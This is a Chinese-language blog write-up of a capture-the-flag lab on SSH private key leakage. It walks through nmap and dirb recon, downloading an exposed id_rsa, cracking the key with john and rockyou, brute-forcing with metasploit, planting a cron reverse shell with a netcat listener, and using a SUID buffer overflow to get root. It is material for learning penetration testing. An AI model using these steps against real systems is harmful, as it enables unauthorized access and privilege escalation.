ssh密钥泄露
ssh密钥泄露
==ssh常用端口为22==
信息探测
先用nmap扫描ip端口
探测靶场开放的服务和服务版本:nmap -sV ip
探测靶场全部信息:nmap -A -v ip
探测靶场的操作系统类型和版本: nmap -O ip
==注意特殊端口(大于1024)==
扫描端口目录,寻找隐藏文件
dirb http://ip:port/(80端口可省略)
如果探测到.ssh,则可以想到密钥泄露,通过ssh远程登陆
==id_rsa和id_rsa.pub配对成功才能登陆成功==
为此我们可以尝试打开http://ip:port/.ssh/id_rsa目录,可能会下载到id_rsa,也就是私钥
寻找ssh用户名,得到私钥
然后依次打开后面的目录
成功下载后,第二个文件就是一个认证文件,可以找到用户名,ssh连接徐娅用户名,假如用户名为simon可能在网站主页寻找
ssh -i id_rsa simon@ip
利用nikto寻找是否有私钥
nikto -host ip
可以扫描出敏感目录并且提示
如果探测到robot.txt,打开可以查看不可以被探测的目录,可以寻找到相关信息或者flag1;==注意config之类的文件==
可以利用wget url来下载文件
如果只有公钥
然后会提示输入密码,尝试root/用户名。错误则继续探测
ssh2john id_rsa > rsacrack
zcat /usr/share/wordlists/rockyou.txt.gz | john –pipe -rules isacrack
然后利用破解的密码进行ssh登录
提权
暴力破解思路
先下载cupp
git clone https://github.com/jeanphorn/common-password.git
进入目录给cupp.py提权 chmod +x cupp.py
以交互方式创建字典 ./cupp.py -i
利用metasploit破解ssh
1 | msfconsole |
破解密码后,重新启动msfconsole,并输入相关参数,但是密码直接设置为破解出来的密码pwd
set password pwd
打开会话
sessions -i l
优化终端
python -c “import pty;pty.spawn(‘/bin/bash’)”
然后输入
su - root
输入破解出来的密码pwd,成功提权
反弹shell
挖掘是否有定时任务 `car /etc/crontab
如果有定时计划文件但是具体目录下没有这个定时执行的文件,可以自行创建反弹shell,然后netcat执行监听获取对应用户的权限
如果有定时执行的文件,可以切换到对应目录,查看对应权限,查看当前用户是否有读写权限
反弹shell编写
1 | `#!/usr/bin/python` |
攻击机netcat命令监听相关端口(未占用)
nc -lvp 端口
查看占用端口 netstat -pantu
利用自带文件产生溢出调用bash
登陆后发现不是root权限,于是查看根目录
cd /root ls
可能会发现flag.txt,但是可能没有权限直接打开
于是查找具有root权限的文件
find / -perm -4000 2>/dev/null
发现read_message名字与根目录类似
cat read_message.c
可能会找到flag2
代码审计下面的c语言
发现调用这个message这个文件并输出相关信息
打开read_message
read_message
然后我们输入SimonAAA
发现程序只对比到前五个字符,正确就执行程序,于是我们打算溢出字符串buf数组(20长度),然后利用输入的/bin/sh占用程序,被execve调用,然后成功提权
得到flag
寻找根目录 /root
然后就可以成功打开flag.txt文件
NOTE
- 查看当前用户
whoami - 查看当前用户的权限
id - 查看所有用户的列表
cat/etc/passwd - 查看用户组
cat /etc/group - 查看属于某些用户的文件
find / -user 用户名 - 查看缓冲文件目录
/tmp
- Title: ssh密钥泄露
- Author: Dunm1e
- Created at : 2024-09-11 18:55:58
- Updated at : 2024-09-12 08:18:30
- Link: https://dunm1e.github.io/2024/09/11/478a9824d4db/
- License: This work is licensed under CC BY-NC-SA 4.0.